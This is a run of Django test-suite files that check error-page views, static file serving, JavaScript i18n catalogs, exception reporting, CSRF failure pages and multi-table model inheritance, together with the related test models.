    def test_page_not_found(self):
        "A 404 status is returned by the page_not_found view"
        for url in self.non_existing_urls:
            response = self.client.get(url)
            self.assertEqual(response.status_code, 404)

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'OPTIONS': {
            'loaders': [
                ('django.template.loaders.locmem.Loader', {
                    '404.html': '{{ csrf_token }}',
                }),
            ],
        },
    }])
    def test_csrf_token_in_404(self):
        """
        The 404 page should have the csrf_token available in the context
        """
        # See ticket #14565
        for url in self.non_existing_urls:
            response = self.client.get(url)
            self.assertNotEqual(response.content, 'NOTPROVIDED')
            self.assertNotEqual(response.content, '')

    def test_server_error(self):
        "The server_error view raises a 500 status"
        response = self.client.get('/server_error/')
        self.assertEqual(response.status_code, 500)

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'OPTIONS': {
            'loaders': [
                ('django.template.loaders.locmem.Loader', {
                    '404.html': 'This is a test template for a 404 error '
                                '(path: {{ request_path }}, exception: {{ exception }}).',
                    '500.html': 'This is a test template for a 500 error.',
                }),
            ],
        },
    }])
    def test_custom_templates(self):
        """
        Test that 404.html and 500.html templates are picked by their respective
        handler.
        """
        response = self.client.get('/server_error/')
        self.assertContains(response, "test template for a 500 error", status_code=500)
        response = self.client.get('/no_such_url/')
        self.assertContains(response, 'path: /no_such_url/', status_code=404)
        self.assertContains(response, 'exception: Resolver404', status_code=404)
        response = self.client.get('/technical404/')
        self.assertContains(response, 'exception: Testing technical 404.', status_code=404)

    def test_get_absolute_url_attributes(self):
        "A model can set attributes on the get_absolute_url method"
        self.assertTrue(getattr(UrlArticle.get_absolute_url, 'purge', False),
                        'The attributes of the original get_absolute_url must be added.')
        article = UrlArticle.objects.get(pk=1)
        self.assertTrue(getattr(article.get_absolute_url, 'purge', False),
                        'The attributes of the original get_absolute_url must be added.')

    @override_settings(DEFAULT_CONTENT_TYPE="text/xml")
    def test_default_content_type_is_text_html(self):
        """
        Content-Type of the default error responses is text/html. Refs #20822.
        """
        response = self.client.get('/raises400/')
        self.assertEqual(response['Content-Type'], 'text/html')

        response = self.client.get('/raises403/')
        self.assertEqual(response['Content-Type'], 'text/html')

        response = self.client.get('/non_existing_url/')
        self.assertEqual(response['Content-Type'], 'text/html')

        response = self.client.get('/server_error/')
        self.assertEqual(response['Content-Type'], 'text/html')

    def test_custom_templates_wrong(self):
        """
        Default error views should raise TemplateDoesNotExist when passed a
        template that doesn't exist.
        """
        rf = RequestFactory()
        request = rf.get('/')

        with self.assertRaises(TemplateDoesNotExist):
            bad_request(request, Exception(), template_name='nonexistent')

        with self.assertRaises(TemplateDoesNotExist):
            permission_denied(request, Exception(), template_name='nonexistent')

        with self.assertRaises(TemplateDoesNotExist):
            page_not_found(request, Http404(), template_name='nonexistent')

        with self.assertRaises(TemplateDoesNotExist):
            server_error(request, template_name='nonexistent')






from __future__ import unicode_literals

import mimetypes
import unittest
from os import path

from django.conf.urls.static import static
from django.http import FileResponse, HttpResponseNotModified
from django.test import SimpleTestCase, override_settings
from django.utils.http import http_date
from django.views.static import was_modified_since

from .. import urls
from ..urls import media_dir


@override_settings(DEBUG=True, ROOT_URLCONF='view_tests.urls')
class StaticTests(SimpleTestCase):
    """Tests django views in django/views/static.py"""

    prefix = 'site_media'

    def test_serve(self):
        "The static view can serve static media"
        media_files = ['file.txt', 'file.txt.gz']
        for filename in media_files:
            response = self.client.get('/%s/%s' % (self.prefix, filename))
            response_content = b''.join(response)
            file_path = path.join(media_dir, filename)
            with open(file_path, 'rb') as fp:
                self.assertEqual(fp.read(), response_content)
            self.assertEqual(len(response_content), int(response['Content-Length']))
            self.assertEqual(mimetypes.guess_type(file_path)[1], response.get('Content-Encoding', None))

    def test_chunked(self):
        "The static view should stream files in chunks to avoid large memory usage"
        response = self.client.get('/%s/%s' % (self.prefix, 'long-line.txt'))
        first_chunk = next(response.streaming_content)
        self.assertEqual(len(first_chunk), FileResponse.block_size)
        second_chunk = next(response.streaming_content)
        response.close()
        # strip() to prevent OS line endings from causing differences
        self.assertEqual(len(second_chunk.strip()), 1449)

    def test_unknown_mime_type(self):
        response = self.client.get('/%s/file.unknown' % self.prefix)
        self.assertEqual('application/octet-stream', response['Content-Type'])
        response.close()

    def test_copes_with_empty_path_component(self):
        file_name = 'file.txt'
        response = self.client.get('/%s//%s' % (self.prefix, file_name))
        response_content = b''.join(response)
        with open(path.join(media_dir, file_name), 'rb') as fp:
            self.assertEqual(fp.read(), response_content)

    def test_is_modified_since(self):
        file_name = 'file.txt'
        response = self.client.get(
            '/%s/%s' % (self.prefix, file_name),
            HTTP_IF_MODIFIED_SINCE='Thu, 1 Jan 1970 00:00:00 GMT'
        )
        response_content = b''.join(response)
        with open(path.join(media_dir, file_name), 'rb') as fp:
            self.assertEqual(fp.read(), response_content)

    def test_not_modified_since(self):
        file_name = 'file.txt'
        response = self.client.get(
            '/%s/%s' % (self.prefix, file_name),
            HTTP_IF_MODIFIED_SINCE='Mon, 18 Jan 2038 05:14:07 GMT'
            # This is 24h before max Unix time. Remember to fix Django and
            # update this test well before 2038 :)
        )
        self.assertIsInstance(response, HttpResponseNotModified)

    def test_invalid_if_modified_since(self):
        """Handle bogus If-Modified-Since values gracefully

        Assume that a file is modified since an invalid timestamp as per RFC
        2616, section 14.25.
        """
        file_name = 'file.txt'
        invalid_date = 'Mon, 28 May 999999999999 28:25:26 GMT'
        response = self.client.get('/%s/%s' % (self.prefix, file_name),
                                   HTTP_IF_MODIFIED_SINCE=invalid_date)
        response_content = b''.join(response)
        with open(path.join(media_dir, file_name), 'rb') as fp:
            self.assertEqual(fp.read(), response_content)
        self.assertEqual(len(response_content), int(response['Content-Length']))

    def test_invalid_if_modified_since2(self):
        """Handle even more bogus If-Modified-Since values gracefully

        Assume that a file is modified since an invalid timestamp as per RFC
        2616, section 14.25.
        """
        file_name = 'file.txt'
        invalid_date = ': 1291108438, Wed, 20 Oct 2010 14:05:00 GMT'
        response = self.client.get('/%s/%s' % (self.prefix, file_name),
                                   HTTP_IF_MODIFIED_SINCE=invalid_date)
        response_content = b''.join(response)
        with open(path.join(media_dir, file_name), 'rb') as fp:
            self.assertEqual(fp.read(), response_content)
        self.assertEqual(len(response_content), int(response['Content-Length']))

    def test_404(self):
        response = self.client.get('/%s/non_existing_resource' % self.prefix)
        self.assertEqual(404, response.status_code)

    def test_index(self):
        response = self.client.get('/%s/' % self.prefix)
        self.assertContains(response, 'Index of /')


class StaticHelperTest(StaticTests):
    """
    Test case to make sure the static URL pattern helper works as expected
    """
    def setUp(self):
        super(StaticHelperTest, self).setUp()
        self._old_views_urlpatterns = urls.urlpatterns[:]
        urls.urlpatterns += static('/media/', document_root=media_dir)

    def tearDown(self):
        super(StaticHelperTest, self).tearDown()
        urls.urlpatterns = self._old_views_urlpatterns


class StaticUtilsTests(unittest.TestCase):
    def test_was_modified_since_fp(self):
        """
        Test that a floating point mtime does not disturb was_modified_since.
        (#18675)
        """
        mtime = 1343416141.107817
        header = http_date(mtime)
        self.assertFalse(was_modified_since(header, mtime))












# -*- coding:utf-8 -*-
from __future__ import unicode_literals

import gettext
import json
from os import path

from django.conf import settings
from django.test import (
    SimpleTestCase, ignore_warnings, modify_settings, override_settings,
)
from django.test.selenium import SeleniumTestCase
from django.utils import six
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.translation import override

from ..urls import locale_dir


@override_settings(ROOT_URLCONF='view_tests.urls')
@ignore_warnings(category=RemovedInDjango20Warning)
class JsI18NTests(SimpleTestCase):
    """
    Tests deprecated django views in django/views/i18n.py
    """
    def test_jsi18n(self):
        """The javascript_catalog can be deployed with language settings"""
        for lang_code in ['es', 'fr', 'ru']:
            with override(lang_code):
                catalog = gettext.translation('djangojs', locale_dir, [lang_code])
                if six.PY3:
                    trans_txt = catalog.gettext('this is to be translated')
                else:
                    trans_txt = catalog.ugettext('this is to be translated')
                response = self.client.get('/old_jsi18n/')
                # response content must include a line like:
                # "this is to be translated": <value of trans_txt Python variable>
                # json.dumps() is used to be able to check unicode strings
                self.assertContains(response, json.dumps(trans_txt), 1)
                if lang_code == 'fr':
                    # Message with context (msgctxt)
                    self.assertContains(response, '"month name\\u0004May": "mai"', 1)

    def test_jsoni18n(self):
        """
        The json_catalog returns the language catalog and settings as JSON.
        """
        with override('de'):
            response = self.client.get('/old_jsoni18n/')
            data = json.loads(response.content.decode('utf-8'))
            self.assertIn('catalog', data)
            self.assertIn('formats', data)
            self.assertIn('plural', data)
            self.assertEqual(data['catalog']['month name\x04May'], 'Mai')
            self.assertIn('DATETIME_FORMAT', data['formats'])
            self.assertEqual(data['plural'], '(n != 1)')

    def test_jsi18n_with_missing_en_files(self):
        """
        The javascript_catalog shouldn't load the fallback language in the
        case that the current selected language is actually the one translated
        from, and hence missing translation files completely.

        This happens easily when you're translating from English to other
        languages and you've set settings.LANGUAGE_CODE to some other language
        than English.
        """
        with self.settings(LANGUAGE_CODE='es'), override('en-us'):
            response = self.client.get('/old_jsi18n/')
            self.assertNotContains(response, 'esto tiene que ser traducido')

    def test_jsoni18n_with_missing_en_files(self):
        """
        Same as above for the json_catalog view. Here we also check for the
        expected JSON format.
        """
        with self.settings(LANGUAGE_CODE='es'), override('en-us'):
            response = self.client.get('/old_jsoni18n/')
            data = json.loads(response.content.decode('utf-8'))
            self.assertIn('catalog', data)
            self.assertIn('formats', data)
            self.assertIn('plural', data)
            self.assertEqual(data['catalog'], {})
            self.assertIn('DATETIME_FORMAT', data['formats'])
            self.assertIsNone(data['plural'])

    def test_jsi18n_fallback_language(self):
        """
        Let's make sure that the fallback language is still working properly
        in cases where the selected language cannot be found.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('fi'):
            response = self.client.get('/old_jsi18n/')
            self.assertContains(response, 'il faut le traduire')
            self.assertNotContains(response, "Untranslated string")

    def test_i18n_english_variant(self):
        with override('en-gb'):
            response = self.client.get('/old_jsi18n/')
            self.assertIn(
                '"this color is to be translated": "this colour is to be translated"',
                response.context['catalog_str']
            )

    def test_i18n_language_non_english_default(self):
        """
        Check if the Javascript i18n view returns an empty language catalog
        if the default language is non-English, the selected language
        is English and there is not 'en' translation available. See #13388,
        #3594 and #13726 for more details.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('en-us'):
            response = self.client.get('/old_jsi18n/')
            self.assertNotContains(response, 'Choisir une heure')

    @modify_settings(INSTALLED_APPS={'append': 'view_tests.app0'})
    def test_non_english_default_english_userpref(self):
        """
        Same as above with the difference that there IS an 'en' translation
        available. The Javascript i18n view must return a NON empty language catalog
        with the proper English translations. See #13726 for more details.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('en-us'):
            response = self.client.get('/old_jsi18n_english_translation/')
            self.assertContains(response, 'this app0 string is to be translated')

    def test_i18n_language_non_english_fallback(self):
        """
        Makes sure that the fallback language is still working properly
        in cases where the selected language cannot be found.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('none'):
            response = self.client.get('/old_jsi18n/')
            self.assertContains(response, 'Choisir une heure')

    def test_escaping(self):
        # Force a language via GET otherwise the gettext functions are a noop!
        response = self.client.get('/old_jsi18n_admin/?language=de')
        self.assertContains(response, '\\x04')

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app5']})
    def test_non_BMP_char(self):
        """
        Non-BMP characters should not break the javascript_catalog (#21725).
        """
        with self.settings(LANGUAGE_CODE='en-us'), override('fr'):
            response = self.client.get('/old_jsi18n/app5/')
            self.assertContains(response, 'emoji')
            self.assertContains(response, '\\ud83d\\udca9')


@override_settings(ROOT_URLCONF='view_tests.urls')
@ignore_warnings(category=RemovedInDjango20Warning)
class JsI18NTestsMultiPackage(SimpleTestCase):
    """
    Tests for django views in django/views/i18n.py that need to change
    settings.LANGUAGE_CODE and merge JS translation from several packages.
    """
    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app1', 'view_tests.app2']})
    def test_i18n_language_english_default(self):
        """
        Check if the JavaScript i18n view returns a complete language catalog
        if the default language is en-us, the selected language has a
        translation available and a catalog composed by djangojs domain
        translations of multiple Python packages is requested. See #13388,
        #3594 and #13514 for more details.
        """
        with self.settings(LANGUAGE_CODE='en-us'), override('fr'):
            response = self.client.get('/old_jsi18n_multi_packages1/')
            self.assertContains(response, 'il faut traduire cette cha\\u00eene de caract\\u00e8res de app1')

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app3', 'view_tests.app4']})
    def test_i18n_different_non_english_languages(self):
        """
        Similar to above but with neither default or requested language being
        English.
        """
        with self.settings(LANGUAGE_CODE='fr'), override('es-ar'):
            response = self.client.get('/old_jsi18n_multi_packages2/')
            self.assertContains(response, 'este texto de app3 debe ser traducido')

    def test_i18n_with_locale_paths(self):
        extended_locale_paths = settings.LOCALE_PATHS + [
            path.join(
                path.dirname(path.dirname(path.abspath(upath(__file__)))),
                'app3',
                'locale',
            ),
        ]
        with self.settings(LANGUAGE_CODE='es-ar', LOCALE_PATHS=extended_locale_paths):
            with override('es-ar'):
                response = self.client.get('/old_jsi18n/')
                self.assertContains(response, 'este texto de app3 debe ser traducido')


@override_settings(ROOT_URLCONF='view_tests.urls')
@ignore_warnings(category=RemovedInDjango20Warning)
class JavascriptI18nTests(SeleniumTestCase):

    # The test cases use fixtures & translations from these apps.
    available_apps = [
        'django.contrib.admin', 'django.contrib.auth',
        'django.contrib.contenttypes', 'view_tests',
    ]

    @override_settings(LANGUAGE_CODE='de')
    def test_javascript_gettext(self):
        self.selenium.get('%s%s' % (self.live_server_url, '/old_jsi18n_template/'))

        elem = self.selenium.find_element_by_id("gettext")
        self.assertEqual(elem.text, "Entfernen")
        elem = self.selenium.find_element_by_id("ngettext_sing")
        self.assertEqual(elem.text, "1 Element")
        elem = self.selenium.find_element_by_id("ngettext_plur")
        self.assertEqual(elem.text, "455 Elemente")
        elem = self.selenium.find_element_by_id("pgettext")
        self.assertEqual(elem.text, "Kann")
        elem = self.selenium.find_element_by_id("npgettext_sing")
        self.assertEqual(elem.text, "1 Resultat")
        elem = self.selenium.find_element_by_id("npgettext_plur")
        self.assertEqual(elem.text, "455 Resultate")

    @modify_settings(INSTALLED_APPS={'append': ['view_tests.app1', 'view_tests.app2']})
    @override_settings(LANGUAGE_CODE='fr')
    def test_multiple_catalogs(self):
        self.selenium.get('%s%s' % (self.live_server_url, '/old_jsi18n_multi_catalogs/'))

        elem = self.selenium.find_element_by_id('app1string')
        self.assertEqual(elem.text, 'il faut traduire cette chaîne de caractères de app1')
        elem = self.selenium.find_element_by_id('app2string')
        self.assertEqual(elem.text, 'il faut traduire cette chaîne de caractères de app2')






"""
Since this file contains Python 3 specific syntax, it's named without a test_
prefix so the test runner won't try to import it. Instead, the test class is
imported in test_debug.py, but only on Python 3.

This filename is also in setup.cfg flake8 exclude since the Python 2 syntax
error (raise ... from ...) can't be silenced using NOQA.
"""
import sys

from django.test import RequestFactory, TestCase
from django.views.debug import ExceptionReporter


class Py3ExceptionReporterTests(TestCase):

    rf = RequestFactory()

    def test_reporting_of_nested_exceptions(self):
        request = self.rf.get('/test_view/')
        try:
            try:
                raise AttributeError('Top level')
            except AttributeError as explicit:
                try:
                    raise ValueError('Second exception') from explicit
                except ValueError:
                    raise IndexError('Final exception')
        except Exception:
            # Custom exception handler, just pass it into ExceptionReporter
            exc_type, exc_value, tb = sys.exc_info()

        explicit_exc = 'The above exception ({0}) was the direct cause of the following exception:'
        implicit_exc = 'During handling of the above exception ({0}), another exception occurred:'

        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        # Both messages are twice on page -- one rendered as html,
        # one as plain text (for pastebin)
        self.assertEqual(2, html.count(explicit_exc.format("Top level")))
        self.assertEqual(2, html.count(implicit_exc.format("Second exception")))

        text = reporter.get_traceback_text()
        self.assertIn(explicit_exc.format("Top level"), text)
        self.assertIn(implicit_exc.format("Second exception"), text)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.test import SimpleTestCase, override_settings


@override_settings(ROOT_URLCONF='view_tests.generic_urls')
class URLHandling(SimpleTestCase):
    """
    Tests for URL handling in views and responses.
    """
    redirect_target = "/%E4%B8%AD%E6%96%87/target/"

    def test_nonascii_redirect(self):
        """
        Tests that a non-ASCII argument to HttpRedirect is handled properly.
        """
        response = self.client.get('/nonascii_redirect/')
        self.assertRedirects(response, self.redirect_target)

    def test_permanent_nonascii_redirect(self):
        """
        Tests that a non-ASCII argument to HttpPermanentRedirect is handled
        properly.
        """
        response = self.client.get('/permanent_nonascii_redirect/')
        self.assertRedirects(response, self.redirect_target, status_code=301)






from django.template import TemplateDoesNotExist
from django.test import (
    Client, RequestFactory, SimpleTestCase, override_settings,
)
from django.test.utils import ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.translation import override
from django.views.csrf import CSRF_FAILURE_TEMPLATE_NAME, csrf_failure


@override_settings(ROOT_URLCONF='view_tests.urls')
class CsrfViewTests(SimpleTestCase):

    def setUp(self):
        super(CsrfViewTests, self).setUp()
        self.client = Client(enforce_csrf_checks=True)

    @override_settings(
        USE_I18N=True,
        MIDDLEWARE=[
            'django.middleware.locale.LocaleMiddleware',
            'django.middleware.common.CommonMiddleware',
            'django.middleware.csrf.CsrfViewMiddleware',
        ],
    )
    def test_translation(self):
        """
        Test that an invalid request is rejected with a localized error message.
        """
        response = self.client.post('/')
        self.assertContains(response, "Forbidden", status_code=403)
        self.assertContains(response,
                            "CSRF verification failed. Request aborted.",
                            status_code=403)

        with self.settings(LANGUAGE_CODE='nl'), override('en-us'):
            response = self.client.post('/')
            self.assertContains(response, "Verboden", status_code=403)
            self.assertContains(response,
                                "CSRF-verificatie mislukt. Verzoek afgebroken.",
                                status_code=403)

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(
        USE_I18N=True,
        MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=[
            'django.middleware.locale.LocaleMiddleware',
            'django.middleware.common.CommonMiddleware',
            'django.middleware.csrf.CsrfViewMiddleware',
        ],
    )
    def test_translation_middleware_classes(self):
        """
        Test that an invalid request is rejected with a localized error message.
        """
        response = self.client.post('/')
        self.assertContains(response, "Forbidden", status_code=403)
        self.assertContains(response,
                            "CSRF verification failed. Request aborted.",
                            status_code=403)

        with self.settings(LANGUAGE_CODE='nl'), override('en-us'):
            response = self.client.post('/')
            self.assertContains(response, "Verboden", status_code=403)
            self.assertContains(response,
                                "CSRF-verificatie mislukt. Verzoek afgebroken.",
                                status_code=403)

    @override_settings(
        SECURE_PROXY_SSL_HEADER=('HTTP_X_FORWARDED_PROTO', 'https')
    )
    def test_no_referer(self):
        """
        Referer header is strictly checked for POST over HTTPS. Trigger the
        exception by sending an incorrect referer.
        """
        response = self.client.post('/', HTTP_X_FORWARDED_PROTO='https')
        self.assertContains(response,
                            "You are seeing this message because this HTTPS "
                            "site requires a &#39;Referer header&#39; to be "
                            "sent by your Web browser, but none was sent.",
                            status_code=403)

    def test_no_cookies(self):
        """
        The CSRF cookie is checked for POST. Failure to send this cookie should
        provide a nice error message.
        """
        response = self.client.post('/')
        self.assertContains(response,
                            "You are seeing this message because this site "
                            "requires a CSRF cookie when submitting forms. "
                            "This cookie is required for security reasons, to "
                            "ensure that your browser is not being hijacked "
                            "by third parties.",
                            status_code=403)

    @override_settings(TEMPLATES=[])
    def test_no_django_template_engine(self):
        """
        The CSRF view doesn't depend on the TEMPLATES configuration (#24388).
        """
        response = self.client.post('/')
        self.assertContains(response, "Forbidden", status_code=403)

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'OPTIONS': {
            'loaders': [
                ('django.template.loaders.locmem.Loader', {
                    CSRF_FAILURE_TEMPLATE_NAME: 'Test template for CSRF failure'
                }),
            ],
        },
    }])
    def test_custom_template(self):
        """
        A custom CSRF_FAILURE_TEMPLATE_NAME is used.
        """
        response = self.client.post('/')
        self.assertContains(response, "Test template for CSRF failure", status_code=403)

    def test_custom_template_does_not_exist(self):
        """
        An exception is raised if a nonexistent template is supplied.
        """
        factory = RequestFactory()
        request = factory.post('/')
        with self.assertRaises(TemplateDoesNotExist):
            csrf_failure(request, template_name="nonexistent.html")






from __future__ import unicode_literals

import datetime

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Place(models.Model):
    name = models.CharField(max_length=50)
    address = models.CharField(max_length=80)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return "%s the place" % self.name


@python_2_unicode_compatible
class Restaurant(Place):
    serves_hot_dogs = models.BooleanField(default=False)
    serves_pizza = models.BooleanField(default=False)

    def __str__(self):
        return "%s the restaurant" % self.name


@python_2_unicode_compatible
class ItalianRestaurant(Restaurant):
    serves_gnocchi = models.BooleanField(default=False)

    def __str__(self):
        return "%s the italian restaurant" % self.name


@python_2_unicode_compatible
class ParkingLot(Place):
    # An explicit link to the parent (we can control the attribute name).
    parent = models.OneToOneField(Place, models.CASCADE, primary_key=True, parent_link=True)
    capacity = models.IntegerField()

    def __str__(self):
        return "%s the parking lot" % self.name


class ParkingLot3(Place):
    # The parent_link connector need not be the pk on the model.
    primary_key = models.AutoField(primary_key=True)
    parent = models.OneToOneField(Place, models.CASCADE, parent_link=True)


class ParkingLot4(models.Model):
    # Test parent_link connector can be discovered in abstract classes.
    parent = models.OneToOneField(Place, models.CASCADE, parent_link=True)

    class Meta:
        abstract = True


class ParkingLot4A(ParkingLot4, Place):
    pass


class ParkingLot4B(Place, ParkingLot4):
    pass


@python_2_unicode_compatible
class Supplier(models.Model):
    name = models.CharField(max_length=50)
    restaurant = models.ForeignKey(Restaurant, models.CASCADE)

    def __str__(self):
        return self.name


class Wholesaler(Supplier):
    retailer = models.ForeignKey(Supplier, models.CASCADE, related_name='wholesale_supplier')


class Parent(models.Model):
    created = models.DateTimeField(default=datetime.datetime.now)


class Child(Parent):
    name = models.CharField(max_length=10)


class SelfRefParent(models.Model):
    parent_data = models.IntegerField()
    self_data = models.ForeignKey('self', models.SET_NULL, null=True)


class SelfRefChild(SelfRefParent):
    child_data = models.IntegerField()


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    class Meta:
        ordering = ('-pub_date', 'headline')

    def __str__(self):
        return self.headline


class ArticleWithAuthor(Article):
    author = models.CharField(max_length=100)


class M2MBase(models.Model):
    articles = models.ManyToManyField(Article)


class M2MChild(M2MBase):
    name = models.CharField(max_length=50)


class Evaluation(Article):
    quality = models.IntegerField()

    class Meta:
        abstract = True


class QualityControl(Evaluation):
    assignee = models.CharField(max_length=50)


@python_2_unicode_compatible
class BaseM(models.Model):
    base_name = models.CharField(max_length=100)

    def __str__(self):
        return self.base_name


@python_2_unicode_compatible
class DerivedM(BaseM):
    customPK = models.IntegerField(primary_key=True)
    derived_name = models.CharField(max_length=100)

    def __str__(self):
        return "PK = %d, base_name = %s, derived_name = %s" % (
            self.customPK, self.base_name, self.derived_name)


class AuditBase(models.Model):
    planned_date = models.DateField()

    class Meta:
        abstract = True
        verbose_name_plural = 'Audits'


class CertificationAudit(AuditBase):
    class Meta(AuditBase.Meta):
        abstract = True


class InternalCertificationAudit(CertificationAudit):
    auditing_dept = models.CharField(max_length=20)


# Check that abstract classes don't get m2m tables autocreated.
@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=100)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class AbstractEvent(models.Model):
    name = models.CharField(max_length=100)
    attendees = models.ManyToManyField(Person, related_name="%(class)s_set")

    class Meta:
        abstract = True
        ordering = ('name',)

    def __str__(self):
        return self.name


class BirthdayParty(AbstractEvent):
    pass


class BachelorParty(AbstractEvent):
    pass


class MessyBachelorParty(BachelorParty):
    pass


# Check concrete -> abstract -> concrete inheritance
class SearchableLocation(models.Model):
    keywords = models.CharField(max_length=256)


class Station(SearchableLocation):
    name = models.CharField(max_length=128)

    class Meta:
        abstract = True


class BusStation(Station):
    bus_routes = models.CommaSeparatedIntegerField(max_length=128)
    inbound = models.BooleanField(default=False)


class TrainStation(Station):
    zone = models.IntegerField()


class User(models.Model):
    username = models.CharField(max_length=30, unique=True)


class Profile(User):
    profile_id = models.AutoField(primary_key=True)
    extra = models.CharField(max_length=30, blank=True)


# Check concrete + concrete -> concrete -> concrete
class Politician(models.Model):
    politician_id = models.AutoField(primary_key=True)
    title = models.CharField(max_length=50)


class Congressman(Person, Politician):
    state = models.CharField(max_length=2)


class Senator(Congressman):
    pass












"""
Regression tests for Model inheritance behavior.
"""
from __future__ import unicode_literals

import datetime
from operator import attrgetter
from unittest import expectedFailure

from django import forms
from django.test import TestCase

from .models import (
    ArticleWithAuthor, BachelorParty, BirthdayParty, BusStation, Child,
    DerivedM, InternalCertificationAudit, ItalianRestaurant, M2MChild,
    MessyBachelorParty, ParkingLot, ParkingLot3, ParkingLot4A, ParkingLot4B,
    Person, Place, Profile, QualityControl, Restaurant, SelfRefChild,
    SelfRefParent, Senator, Supplier, TrainStation, User, Wholesaler,
)


class ModelInheritanceTest(TestCase):
    def test_model_inheritance(self):
        # Regression for #7350, #7202
        # Check that when you create a Parent object with a specific reference
        # to an existent child instance, saving the Parent doesn't duplicate
        # the child. This behavior is only activated during a raw save - it
        # is mostly relevant to deserialization, but any sort of CORBA style
        # 'narrow()' API would require a similar approach.

        # Create a child-parent-grandparent chain
        place1 = Place(
            name="Guido's House of Pasta",
            address='944 W. Fullerton')
        place1.save_base(raw=True)
        restaurant = Restaurant(
            place_ptr=place1,
            serves_hot_dogs=True,
            serves_pizza=False)
        restaurant.save_base(raw=True)
        italian_restaurant = ItalianRestaurant(
            restaurant_ptr=restaurant,
            serves_gnocchi=True)
        italian_restaurant.save_base(raw=True)

        # Create a child-parent chain with an explicit parent link
        place2 = Place(name='Main St', address='111 Main St')
        place2.save_base(raw=True)
        park = ParkingLot(parent=place2, capacity=100)
        park.save_base(raw=True)

        # Check that no extra parent objects have been created.
        places = list(Place.objects.all())
        self.assertEqual(places, [place1, place2])

        dicts = list(Restaurant.objects.values('name', 'serves_hot_dogs'))
        self.assertEqual(dicts, [{
            'name': "Guido's House of Pasta",
            'serves_hot_dogs': True
        }])

        dicts = list(ItalianRestaurant.objects.values(
            'name', 'serves_hot_dogs', 'serves_gnocchi'))
        self.assertEqual(dicts, [{
            'name': "Guido's House of Pasta",
            'serves_gnocchi': True,
            'serves_hot_dogs': True,
        }])

        dicts = list(ParkingLot.objects.values('name', 'capacity'))
        self.assertEqual(dicts, [{
            'capacity': 100,
            'name': 'Main St',
        }])

        # You can also update objects when using a raw save.
        place1.name = "Guido's All New House of Pasta"
        place1.save_base(raw=True)

        restaurant.serves_hot_dogs = False
        restaurant.save_base(raw=True)

        italian_restaurant.serves_gnocchi = False
        italian_restaurant.save_base(raw=True)

        place2.name = 'Derelict lot'
        place2.save_base(raw=True)

        park.capacity = 50
        park.save_base(raw=True)

        # No extra parent objects after an update, either.
        places = list(Place.objects.all())
        self.assertEqual(places, [place2, place1])
        self.assertEqual(places[0].name, 'Derelict lot')
        self.assertEqual(places[1].name, "Guido's All New House of Pasta")

        dicts = list(Restaurant.objects.values('name', 'serves_hot_dogs'))
        self.assertEqual(dicts, [{
            'name': "Guido's All New House of Pasta",
            'serves_hot_dogs': False,
        }])

        dicts = list(ItalianRestaurant.objects.values(
            'name', 'serves_hot_dogs', 'serves_gnocchi'))
        self.assertEqual(dicts, [{
            'name': "Guido's All New House of Pasta",
            'serves_gnocchi': False,
            'serves_hot_dogs': False,
        }])

        dicts = list(ParkingLot.objects.values('name', 'capacity'))
        self.assertEqual(dicts, [{
            'capacity': 50,
            'name': 'Derelict lot',
        }])

        # If you try to raw_save a parent attribute onto a child object,
        # the attribute will be ignored.

        italian_restaurant.name = "Lorenzo's Pasta Hut"
        italian_restaurant.save_base(raw=True)

        # Note that the name has not changed
        # - name is an attribute of Place, not ItalianRestaurant
        dicts = list(ItalianRestaurant.objects.values(
            'name', 'serves_hot_dogs', 'serves_gnocchi'))
        self.assertEqual(dicts, [{
            'name': "Guido's All New House of Pasta",
            'serves_gnocchi': False,
            'serves_hot_dogs': False,
        }])

    def test_issue_7105(self):
        # Regressions tests for #7105: dates() queries should be able to use
        # fields from the parent model as easily as the child.
        Child.objects.create(
            name='child',
            created=datetime.datetime(2008, 6, 26, 17, 0, 0))
        datetimes = list(Child.objects.datetimes('created', 'month'))
        self.assertEqual(datetimes, [datetime.datetime(2008, 6, 1, 0, 0)])

    def test_issue_7276(self):
        # Regression test for #7276: calling delete() on a model with
        # multi-table inheritance should delete the associated rows from any
        # ancestor tables, as well as any descendent objects.
        place1 = Place(
            name="Guido's House of Pasta",
            address='944 W. Fullerton')
        place1.save_base(raw=True)
        restaurant = Restaurant(
            place_ptr=place1,
            serves_hot_dogs=True,
            serves_pizza=False)
        restaurant.save_base(raw=True)
        italian_restaurant = ItalianRestaurant(
            restaurant_ptr=restaurant,
            serves_gnocchi=True)
        italian_restaurant.save_base(raw=True)

        ident = ItalianRestaurant.objects.all()[0].id
        self.assertEqual(Place.objects.get(pk=ident), place1)
        Restaurant.objects.create(
            name='a',
            address='xx',
            serves_hot_dogs=True,
            serves_pizza=False)

        # This should delete both Restaurants, plus the related places, plus
        # the ItalianRestaurant.
        Restaurant.objects.all().delete()

        with self.assertRaises(Place.DoesNotExist):
            Place.objects.get(pk=ident)
        with self.assertRaises(ItalianRestaurant.DoesNotExist):
            ItalianRestaurant.objects.get(pk=ident)

    def test_issue_6755(self):
        """
        Regression test for #6755
        """
        r = Restaurant(serves_pizza=False, serves_hot_dogs=False)
        r.save()
        self.assertEqual(r.id, r.place_ptr_id)
